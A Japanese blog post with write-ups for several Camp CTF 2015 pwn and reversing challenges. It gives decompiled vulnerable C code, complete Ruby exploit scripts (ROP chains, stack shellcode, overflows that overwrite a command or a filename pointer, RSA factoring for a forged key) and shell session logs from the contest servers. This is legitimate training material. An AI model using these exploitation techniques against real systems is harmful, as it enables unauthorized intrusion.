Camp CTF 2015 writeup
久々の投稿です……
Camp CTF 2015にscryptosで参加しました。
チームで8問解いて1850ptの20位でした(*´ω`*)
解いた7問のwriteupを置いておきます(`・ω・´)
bitterman(pwn:400)
$ ./bitterman > What's your name? Charo Hi, Charo > Please input the length of your message: 9 > Please enter your text: AAAAAAAA > Thanks!
名前・メッセージの長さ・メッセージを入力して終了、というバイナリ。
下調べ。
$ file bitterman bitterman: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=599b05c28e1ada4f676b83bdcd96f21acda5500c, not stripped $ checksec.sh --file bitterman RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH bitterman
Cに直すとこんな感じ。
int read_nbytes(char *_buf, long _length){ long length = _length; //rbp-0x20 char *buf = _buf; //rbp-0x18 int i; //rbp-0x4 while(i < length){ if(read(0, &buf[i], 1) == 0){ break; } if(buf[i++] == '\n'){ break; } } return i; } int main(int _argc, char **_argv){ int argc = _argc; //rbp-0xa4 char **argv = _argv; //rbp-0xb0 long length; //rbp-0x98 char buf[64]; //rbp-0x90 char name[64]; //rbp-0x50 long var_8; //rbp-0x8 puts("> What's your name? "); fflush(stdout); var_8 = read_nbytes(name, 64); printf("Hi, %s\n"); puts("> Please input the length of your message: "); fflush(stdout); scanf("%llu", &length); puts("> Please enter your text: "); fflush(stdout); var_8 = read_nbytes(buf, length); //[!] lengthが64以上だとbuffer overflowする if(var_8 != 0){ puts("> Thanks!"); fflush(stdout); } return 0; }
buf
のサイズは64バイトだが、length
のチェックをしていないのでbuffer overflowでスタックを破壊できる。
ということで、ROPでシェルを取る。
(x86_64なROPについてはこちらやinaz2先生のスライドが参考になったり)
入出力のバッファリングが有効になっているので、リーク時にはfflush
を呼ぶ必要があることに注意する。
#coding:ascii-8bit require_relative "../../pwnlib" remote = true if remote host = "challs.campctf.ccc.ac" port = 10103 else host = "192.168.0.2" port = 54321 end got = { "puts" => 0x600c50, "read" => 0x600c60, "fflush" => 0x600c78, "__libc_start_main" => 0x600c68 } offset = { "__libc_start_main" => 0x400550 } libc_offset = { "__libc_start_main" => 0x20950, "RCE" => 0x442aa } def call_func(func, arg1 = 0, arg2 = 0, arg3 = 0) payload = "" payload << [0x40084a].pack("Q") payload << [0, 1, func, arg3, arg2, arg1].pack("Q*") payload << [0x400830].pack("Q") payload << [0].pack("Q") * 7 return payload end PwnTube.open(host, port){|tube| tube.wait_time = 0 tube.recv_until("What's your name?") tube.send("hoge\n") tube.recv_until("length of your message:") tube.send("4096\n") puts "[*] send rop" tube.recv_until("text:") payload = "" payload << "A" * 0x98 payload << call_func(got["puts"], got["__libc_start_main"]) payload << call_func(got["fflush"], 0) payload << call_func(got["read"], 0, got["__libc_start_main"], 8) payload << call_func(got["__libc_start_main"]) payload << "\0" * 0x40 raise if payload.include?("\n") tube.send(payload + "\n") puts "[*] leak libc base" libc_base = tube.recv_capture(/(.{5}\x7f)/)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["__libc_start_main"] printf("libc_base = 0x%016x\n", libc_base) puts "[*] overwrite got" payload = "" payload << [libc_base + libc_offset["RCE"]].pack("Q") # One-gadget-RCEでシェルを立ち上げる tube.send(payload) tube.shell }
$ ruby bitterman.rb [*] connected [*] send rop [*] leak libc base libc_base = 0x00007f35bf7a2000 [*] overwrite got [*] waiting for shell... [*] interactive mode id uid=1001(challenge) gid=1001(challenge) groups=1001(challenge) ls -la total 40 drwxr-xr-x 2 root root 4096 Aug 13 13:46 . drwxr-xr-x 3 root root 4096 Aug 5 21:43 .. -rw-r--r-- 1 root root 220 Aug 5 19:55 .bash_logout -rw-r--r-- 1 root root 3760 Aug 5 19:55 .bashrc -rw-r--r-- 1 root root 675 Aug 5 19:55 .profile -rwxr-xr-x 1 root root 10392 Aug 12 01:28 bitterman -rw-r--r-- 1 root root 43 Aug 13 13:47 flag.txt -rwxr-xr-x 1 root root 64 Aug 12 01:34 run.sh cat flag.txt CAMP15_a786be6aca70bfd19b6af86133991f80 - exit [*] end interactive mode [*] connection closed
FLAG:CAMP15_a786be6aca70bfd19b6af86133991f80
hacker_level(pwn:200)
$ ./hacker_level What's your name? Charo Hello, Charo Sorry, you're not leet enough to get the flag :( Your hacker level is: 0x77dd
この問題にはCのソースコードも添付されていた。
#include <stdio.h> #include <stdint.h> #include <unistd.h> static uint32_t level = 0; static void calc_level(const char *name); int main() { char name[64] = ""; setbuf(stdin, NULL); // turn off buffered I/O setbuf(stdout, NULL); printf("What's your name? "); fgets(name, sizeof name, stdin); calc_level(name); usleep(150000); printf("Hello, "); printf(name); //[!] format string bug usleep(700000); if (level == 0xCCC31337) { FILE *f = fopen("flag.txt", "r"); if (f) { char flag[80] = ""; fread(flag, 1, sizeof flag, f); printf("The flag is: "); printf(flag); fclose(f); } else { printf("I would give you the flag, but I can't find it.\n"); } } else { printf("Sorry, you're not leet enough to get the flag :(\n"); usleep(400000); printf("Your hacker level is: 0x%x\n", level); } return 0; } static void calc_level(const char *name) { for (const char *p = name; *p; p++) { level *= 257; level ^= *p; } level %= 0xcafe; }
入力した名前からhacker levelを算出し、hacker levelが0xCCC31337と等しくなればフラグがもらえる仕様になっている。
が、calc_level
の最後でlevel %= 0xcafe;
という意地悪をしている。
format string attackを使ったgot overwriteで解いた。
(level
がグローバル変数になってるのに今気付いた……)
解き方が某常設CTFの某問に似てるのでexploitは載せません(*´ω`*)
$ ruby hacker_level.rb [*] connected [*] format string attack [*] interactive mode Hello, !�"�#� @ h � The flag is: CAMP15_337deec05ccc63b1168ba3379ae4d65854132604 [*] end interactive mode [*] connection closedn
FLAG:CAMP15_337deec05ccc63b1168ba3379ae4d65854132604
phobos(pwn:300)
$ ./phobos > What's your name? Charo Hi, Charo > Please input the length of your message: 9 > Please enter your text: AAAAAAAA > Thanks!
bittermanをちょっとアレンジしたもの。
下調べ。
$ file phobos phobos: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=3c111d36955a5e96fc6a2237dc8799520c8edb3f, not stripped $ checksec.sh --file phobos RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH phobos
今回はNX無効になっている。
Cに直すとこんな感じ。
int read_nbytes(char *_buf, long _length){ long length = _length; //rbp-0x20 char *buf = _buf; //rbp-0x18 int i; //rbp-0x4 while(i < (unsigned long)length){ if(read(0, &buf[i], 1) == 0){ break; } if(buf[i++] == '\n'){ break; } } return i; //[!] 文字列をNULL終端していない } int main(int _argc, char **_argv){ int argc = _argc; //rbp-0x64 char **argv = _argv; //rbp-0x70 long length; //rbp-0x58 char name[64]; //rbp-0x50 char *buf; //rbp-0x10 long var_8; //rbp-0x8 puts("> What's your name? "); fflush(stdout); var_8 = read_nbytes(name, 64); printf("Hi, %s\n", name); puts("> Please input the length of your message: "); fflush(stdout); scanf("%llu", &length); buf = alloca(?); //lengthに応じたサイズの領域がスタック上に確保される puts("> Please enter your text: "); fflush(stdout); var_8 = read_nbytes(buf, length); if(var_8 != 0){ puts("> Thanks!"); fflush(stdout); } return 0; }
今回はlength
に応じたサイズの領域が確保されるので、bittermanのようなbuffer overflowはできない。
……と思いきや、length
に負数を指定するとbufのサイズ < read_nbytesで入力できるサイズ
になるため、buffer overflowが可能なまま。
NX無効なのでスタックにシェルコードを入れてripを飛ばしたいところだが、スタックのアドレスがわからないと飛ばし先がわからない。
そこで、スタックのどこかにスタックのアドレスが転がってないかなー、と覗いてみると……
gdb-peda$ x/20gx $rsp 0x7fffffffe250: 0x00007fffffffe3a8 0x00000001ffffe3b8 0x7fffffffe260: 0x00007ffff7a251a8 0x00007ffff7ff74c0 0x7fffffffe270: 0x4141414141414141 0x4141414141414141 ←name 0x7fffffffe280: 0x4141414141414141 0x4141414141414141 0x7fffffffe290: 0x4141414141414141 0x4141414141414141 0x7fffffffe2a0: 0x4141414141414141 0x4141414141414141 0x7fffffffe2b0:[0x00007fffffffe3a0] 0x0000000000000000 0x7fffffffe2c0: 0x0000000000000000 0x00007ffff7a36ec5 0x7fffffffe2d0: 0x0000000000000000 0x00007fffffffe3a8 0x7fffffffe2e0: 0x0000000100000000 0x00000000004006ec
name
のすぐ後ろに、使えそうなアドレスが落ちてた。
name
を64バイトにすれば、printf("Hi, %s\n", name);
実行時にこのアドレスをリークできる。
#coding:ascii-8bit require_relative "../../pwnlib" remote = true if remote host = "challs.campctf.ccc.ac" port = 10106 else host = "192.168.0.2" port = 54321 end PwnTube.open(host, port){|tube| tube.wait_time = 0 puts "[*] leak stack address" tube.recv_until("What's your name?") tube.send("A" * 64) stack_address = tube.recv_capture(/A{64}(.{6})/)[0].ljust(8, "\0").unpack("Q")[0] printf("stack address = 0x%016x\n", stack_address) puts "[*] send shellcode" tube.recv_until("length of your message:") tube.send("-1\n") tube.recv_until("Please enter your text:") payload = "" payload << "A" * 0x88 payload << [stack_address].pack("Q") payload << "\x90" * 0x100 payload << PwnLib.shellcode_x86_64 raise if payload.include?("\n") tube.send(payload + "\n") tube.shell }
$ ruby phobos.rb [*] connected [*] leak stack address stack address = 0x00007fff39b41980 [*] send shellcode [*] waiting for shell... [*] interactive mode id uid=1001(challenge) gid=1001(challenge) groups=1001(challenge) ls -la total 40 drwxr-xr-x 2 root root 4096 Aug 13 13:55 . drwxr-xr-x 3 root root 4096 Aug 5 21:43 .. -rw-r--r-- 1 root root 220 Aug 5 19:55 .bash_logout -rw-r--r-- 1 root root 3760 Aug 5 19:55 .bashrc -rw-r--r-- 1 root root 675 Aug 5 19:55 .profile -rw-r--r-- 1 root root 40 Aug 13 13:55 flag.txt -rwxr-xr-x 1 root root 10424 Aug 12 01:31 phobos -rwxr-xr-x 1 root root 61 Aug 12 01:33 run.sh cat flag.txt CAMP15_0ae754f04a8782cba9a7ec2c69dc1274 exit [*] end interactive mode [*] connection closed
FLAG:CAMP15_0ae754f04a8782cba9a7ec2c69dc1274
ropcalc(pwn:225)
$ nc challs.campctf.ccc.ac 10109 Level [1/5] Create a ROP chain that calculates: $rax + $rbx (store result in rax) Enter your solution as a single hex encoded line: 00000000 Seems like the process crashed!
ROPガジェットがたくさん詰まったバイナリが与えられ、指定された演算を行うROPを入力するという問題。
レジスタ同士の演算なら何でもできるという感じ。
gdb-peda$ i func All defined functions: Non-debugging symbols: (略) 0x0000000000400890 mul_rax 0x00000000004008a0 pop_rax 0x00000000004008b0 xor_rax_rax (略) 0x0000000000400b30 add_rax_rbx 0x0000000000400b40 sub_rax_rbx 0x0000000000400b50 imul_rax_rbx 0x0000000000400b60 xchg_rax_rbx 0x0000000000400b70 mov_rax_rbx
5ステージクリアできたらフラグがもらえる。
なぜかimul r64, r64
の結果がrdx:raxに入るという勘違いをしててハマった(/ω\)ハズカシ
#coding:ascii-8bit require_relative "../../pwnlib" def send_solution(tube, payload) tube.recv_until("hex encoded line:") tube.send(payload.unpack("H*")[0] + "\n") end PwnTube.open("challs.campctf.ccc.ac", 10109){|tube| tube.wait_time = 0 puts "[*] stage 1" # $rax + $rbx # add rax, rbx payload = "" payload << [0x400b30].pack("Q") send_solution(tube, payload) puts "[*] stage 2" # $rax + $rbx + 1337 # add rax, rbx # pop rbx, 1337 # add rax, rbx payload = "" payload << [0x400b30, 0x4008d0, 1337, 0x400b30].pack("Q*") send_solution(tube, payload) puts "[*] stage 3" # $rax * $rbx # mul rbx payload = "" payload << [0x4008c0].pack("Q") send_solution(tube, payload) puts "[*] stage 4" # $rax * (31337 + $rbx) # pop rcx, 31337 # add rbx, rcx # mul rbx payload = "" payload << [0x400900, 31337, 0x400f90, 0x4008c0].pack("Q*") send_solution(tube, payload) puts "[*] stage 5" # $rbx - $r8 + 2015 + $rcx + 23 * $rax - 42 * ($rcx - 5 * $rdx - $rdi * $rsi) # ;$rbx = $rbx - $r8 + 2015 + $rcx + 23 * $rax # xchg r9, rdx # sub rbx, r8 # pop r8, 2015 # add rbx, r8 # add rbx, rcx # pop r8, 23 # imul rax, r8 # add rbx, rax # xchg r9, rdx # ;$rax = $rbx - 42 * ($rcx - 5 * $rdx - $rdi * $rsi) # pop rax, -5 # imul rax, rdx # add rcx, rax # imul rdi, rsi # sub rcx, rdi # pop rax, -42 # imul rax, rcx # add rax, rbx payload = "" payload << [0x4028c0, 0x4010e0, 0x4009c0, 2015, 0x4010d0, 0x400f90, 0x4009c0, 23, 0x400ce0, 0x400f40, 0x4028c0].pack("Q*") payload << [0x4008a0, -5, 0x400bf0, 0x401350, 0x4020e0, 0x4014a0, 0x4008a0, -42, 0x400ba0, 0x400b30].pack("Q*") send_solution(tube, payload) tube.interactive }
$ ruby ropcalc.rb [*] connected [*] stage 1 [*] stage 2 [*] stage 3 [*] stage 4 [*] stage 5 [*] interactive mode Correct! -------------------------------------------------------------------------------- The flag is: CAMP15_c0342e0be22dc032de05aa637c8ee8a3 [*] end interactive mode [*] connection closed
FLAG:CAMP15_c0342e0be22dc032de05aa637c8ee8a3
secret_file(pwn:150)
$ ./secret_file hogehoge wrong password!
パスワードを入力し、認証が通れば/bin/cat ./secret_data.asc
が実行されるプログラム。
Cに直すとこんな感じ。
void compute_hash(char *in, char *out, long length){ //inの先頭lengthバイトのSHA256ハッシュをoutに出力 } int main(){ int var_0; //rsp+0x0 char *lineptr; //rsp+0x8 char buf[256]; //rsp+0x10 char command[27]; //rsp+0x110 char password_hash[65]; //rsp+0x12b char digest[32]; //rsp+0x16c char hexdigest[64]; //rsp+0x18c int var_1cc; //rsp+0x1cc char var_1d0[264]; //rsp+0x1d0 long canary; //rsp+0x2d8 unsigned long v1; //rax char *v2; //rbp char *v3; //rbx FILE *p; //rbp memset(buf, 0, 256); snprintf(command, 27, "%s", "/bin/cat ./secret_data.asc"); snprintf(password_hash, 65, "%s", "9387a00e31e413c55af9c08c69cd119ab4685ef3bc8bcbe1cf82161119457127"); /*パスワード入力*/ if(getline(&lineptr, &var_0, stdin) == -1){ return 1; } if((v1 = strrchr(lineptr, '\n')) == NULL){ return 1; } lineptr[v1] = '\0'; /*パスワードをスタック内にコピー*/ strcpy(buf, lineptr); //[!] 256文字以上だとbuffer overflow /*パスワードのSHA256ハッシュを求める*/ compute_hash(buf, digest, 256); //[!] 先頭256byteのみ /*SHA256をhexエンコード*/ v2 = digest; v3 = hexdigest; while(1){ snprintf(v3, 3, "%02x", v2); v2 += 1; v3 += 2; if(v2 == &var_1cc){ break; } } /*ハッシュが違ったらkick*/ if(!strcmp(password_hash, hexdigest)){ puts("wrong password!"); exit(1); } /*ハッシュが合えばコマンドを実行して結果を出力*/ if((p = popen(command, "r")) == NULL){ return 1; } while(fgets(var_1d0, 0x100, p)){ printf("%s", var_1d0); } fclose(p); return 0; }
strcpy
でいろいろ上書きできる。
buf
→"A" * 256
command
→cat ./flag.txt
password_hash
→SHA256("A" * 256)
とすればフラグが取れる。
#coding:ascii-8bit require_relative "../../pwnlib" require "openssl" hash = OpenSSL::Digest::SHA256.hexdigest("A" * 0x100) PwnTube.open("challs.campctf.ccc.ac", 10105){|tube| tube.wait_time = 0 puts "[*] send payload" payload = "" payload << "A" * 0x100 payload << "/bin/cat ./flag.txt".ljust(26, " ") + ";" payload << hash tube.send(payload + "\n") tube.interactive }
$ ruby secret_file.rb [*] connected [*] send payload [*] interactive mode sh: 1: e075f2f51cad23d0537186cfcd50f911ea954f9c2e32a437f45327f1b7899bbb: not found CAMP15_82da7965eb0a3ee1fb4d5d0d8804cc409ad04a4f5e06be2f2bbdbf1c0cd638a7 [*] end interactive mode [*] connection closed
shell(pwn:300)
$ nc challs.campctf.ccc.ac 10117 $ help sh whoami date exit ls help hlep login $ ls creds.txt flag.txt run.sh shell $ sh Permission denied $ login Username: hoge Password: hoge Authentication failed! $ exit
簡易シェル。
Cに直すとこんな感じ。
typedef struct{ char *name; void (*func)(); long needs_permission; } Command; Command commands[] = { //0x6014e0 {"sh", sh, 1}, //sh: system("sh")するだけの関数 {"whoami", whoami, 0}, //whoami: system("whoami")するだけの(ry {"date", date, 0}, {"exit", exit_, 0}, {"ls", ls, 0}, {"help", help, 0}, {"hlep", help, 0}, {NULL, NULL, 0} }; Command *get_command(char *_command_name){ Command *var_20 = commands; //rbp-0x20 char *command_name = _command_name; //rbp-0x18 long canary; //rbp-0x8 while(var_20->name != NULL){ if(!strcmp(var_20->name, command_name)){ return commands; } var_20 += 1; } return NULL; } int main(int _argc, char **_argv){ Command *command; //rbp-0xc0 int var_a8; //rbp-0xa8 int var_a0; //rbp-0xa0 char *lineptr; //rbp-0x98 FILE *fp; //rbp-0x90 char prompt; //rbp-0x81 int authorized = 0; //rbp-0x80 char typed_username[32]; //rbp-0x7c char typed_password[32]; //rbp-0x5c char command_name[36]; //rbp-0x3c char *filename = "creds.txt"; //rbp-0x18 char **argv = _argv; //rbp-0x10 int argc = _argc; //rbp-0x8 int var_4 = 0; //rbp-0x4 setvbuf(stdout, 0, 2, 0); prompt = '$'; while(1){ printf("%c ", prompt); gets(command_name); //[!] buffer overflow if(!strcmp(command_name, "login")){ printf("Username: "); gets(typed_username); //[!] buffer overflow printf("Password: "); gets(typed_password); //[!] buffer overflow fp = fopen(filename, "r"); lineptr = NULL; while(1){ var_a0 = getline(&lineptr, &var_a8, fp); if(var_a0 < 0){ free(lineptr); break; } lineptr[var_a0 - 1] = '\0'; username = strtok(lineptr, ":"); password = strtok(NULL, ":"); if(username && password && !strcmp(typed_username, username) && !strcmp(typed_password, password)){ puts("Authenticated!"); prompt = '#'; authorized = 1; break; } free(lineptr); lineptr = NULL; } if(!authorized){ puts("Authentication failed!"); } fclose(fp); }else{ command = command_get(command_name); if(command == NULL){ puts("Command not found"); continue; } if(command->needs_permission != 1 || authorized == 1){ command->exec(); }else{ puts("Permission denied"); } } } }
gets
でbuffer overflowを起こすことができる。
main
が無限ループなのでリターンアドレスを書き換えても意味がないが、login
コマンドに関わるfilename
はコントロールできそう。
login
コマンドが成功すればsh
コマンドが使えるようになるので、login
を通す方法を考える。
バイナリ中に含まれる文字列を探してみると……
$ strings shell /lib64/ld-linux-x86-64.so.2 libc.so.6 gets exit fopen puts (略)
/lib64/ld-linux-x86-64.so.2
が見つかった。
filename
がcreds.txt
ではなく/lib64/ld-linux-x86-64.so.s
を指すようにすれば、このファイルの情報を使ってlogin
を通すことができる。
#coding:ascii-8bit require_relative "../../pwnlib" PwnTube.open("challs.campctf.ccc.ac", 10117){|tube| tube.wait_time = 0 puts "[*] overwrite filename" tube.recv_until("$") payload = "" payload << "A" * 36 payload << [0x400200].pack("Q") # filenameのポインタを"/lib64/ld-linux-x86-64.so.2"に向ける tube.send(payload + "\n") puts "[*] login" tube.recv_until("$") tube.send("login\n") tube.recv_until("Username:") tube.send("prelink checking\n") tube.recv_until("Password:") tube.send(" %s\n") puts "[*] launch shell" tube.recv_until("#") tube.send("sh\n") tube.shell }
$ ruby shell.rb [*] connected [*] overwrite filename [*] login [*] launch shell [*] waiting for shell... [*] interactive mode id uid=1001(challenge) gid=1001(challenge) groups=1001(challenge) ls -la total 44 drwxr-xr-x 2 root root 4096 Aug 13 17:40 . drwxr-xr-x 3 root root 4096 Aug 5 21:43 .. -rw-r--r-- 1 root root 220 Aug 5 19:55 .bash_logout -rw-r--r-- 1 root root 3760 Aug 5 19:55 .bashrc -rw-r--r-- 1 root root 53 Aug 12 01:29 creds.txt -rw-r--r-- 1 root root 40 Aug 13 17:40 flag.txt -rw-r--r-- 1 root root 675 Aug 5 19:55 .profile -rwxr-xr-x 1 root root 62 Aug 12 01:29 run.sh -rwxr-xr-x 1 root root 10664 Aug 12 01:29 shell cat flag.txt CAMP15_408eed038796cfca32e2fdb3a8126429 exit # exit [*] end interactive mode [*] connection closed
FLAG:CAMP15_408eed038796cfca32e2fdb3a8126429
keycheck(reversing:200)
$ ./keycheck Enter username: hoge Enter key: piyo Registration data invalid.
認証が通るusernameとkeyを探す問題。
ltraceで処理を眺めてみると……
$ ltrace -i ./keycheck [0x400749] __libc_start_main(0x400820, 1, 0x7fff499277b8, 0x400a00 <unfinished ...> [0x400862] setvbuf(0x7fdb73786400, 0, 2, 0) = 0 [0x400876] printf("Enter username: "Enter username: ) = 16 [0x400896] getline(0x7fff499276a8, 0x7fff49927698, 0x7fdb73786640, -1hoge ) = 5 [0x4008b5] printf("Enter key: "Enter key: ) = 11 [0x4008d5] getline(0x7fff499276a0, 0x7fff49927690, 0x7fdb73786640, -1piyo ) = 5 [0x4008ec] pipe(0x7fff499276b4) = 0 [0x4008f4] fork() = 3757 [0x40090c] close(3) = 0 [0x40097f] write(4, "#!/usr/bin/python\n\nimport argpar"..., 1118) = 1118 [0x40098b] close(4) = 0 [0x40099c] waitpid(3757, 0, 0Registration data invalid. <no return ...> [0x7fdb73487b4c] --- SIGCHLD (Child exited) --- [0x40099c] <... waitpid resumed> ) = 3757 [0xffffffffffffffff] +++ exited (status 0) +++
pythonコードが見える。
ダンプさせるとこんなコードがでてきた。
#!/usr/bin/python import argparse import hashlib import sys from Crypto.PublicKey import RSA try: FLAG = open("flag.txt").read().strip() except: FLAG = "CAMP15_DUMMY_FLAG" pubkey = """-----BEGIN PUBLIC KEY----- MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRALSMJB2tLS9JUsjztc0Q1vkCAwEAAQ== -----END PUBLIC KEY----- """ def bad_reg_data(): print "Registration data invalid." sys.exit(-1) def main(reg_user, reg_key): try: reg_key = reg_key.decode("base64") except: bad_reg_data() ist_md5 = hashlib.md5(reg_user).hexdigest()[0:23] + "0" pubrsa = RSA.importKey(pubkey) try: soll_md5 = pubrsa.encrypt(reg_key, None)[0] soll_md5 = soll_md5.encode("hex")[0:23] + "0" except: bad_reg_data() if soll_md5 == ist_md5: print "Registration completed successfully." print "Here is your flag: {0}".format(FLAG) else: bad_reg_data() if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("user") parser.add_argument("key") args = parser.parse_args() main(args.user, args.key)
md5(username)の先頭92bit == keyをRSA暗号化したものの先頭92bit
になればOK。
簡略化して整理すると、
md5(username) = RSAencrypt(key) RSAdecrypt(md5(username)) = RSAdecrypt(RSAencrypt(key)) ∴key = RSAdecrypt(md5(username))
となる。
公開鍵のnが小さいので、素因数分解して秘密鍵を復元した上でmd5(username)
を復号→base64エンコードすればkeyが求まる。
#coding:ascii-8bit require "openssl" require_relative "../../pwnlib" require "base64" key = <<EOS -----BEGIN PUBLIC KEY----- MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRALSMJB2tLS9JUsjztc0Q1vkCAwEAAQ== -----END PUBLIC KEY----- EOS reg_user = "hoge" key = OpenSSL::PKey::RSA.new(key) key.p = 15448096144646045267 # sageで素因数分解した key.q = 15535163108278055939 key.complete_private_key! reg_key = key.private_decrypt([OpenSSL::Digest::MD5.hexdigest(reg_user)[0...23] + "0"].pack("H*"), OpenSSL::PKey::RSA::NO_PADDING) puts "username: #{reg_user}" puts "key: #{Base64.encode64(reg_key)}" #=> username: hoge # key: pFiUPR0nChfn0eiwOUn7Gg==
$ nc challs.campctf.ccc.ac 10114 Enter username: hoge Enter key: pFiUPR0nChfn0eiwOUn7Gg== Registration completed successfully. Here is your flag: CAMP15_dc71d59e50c5fc4cd7604db75da16de8
FLAG:CAMP15_dc71d59e50c5fc4cd7604db75da16de8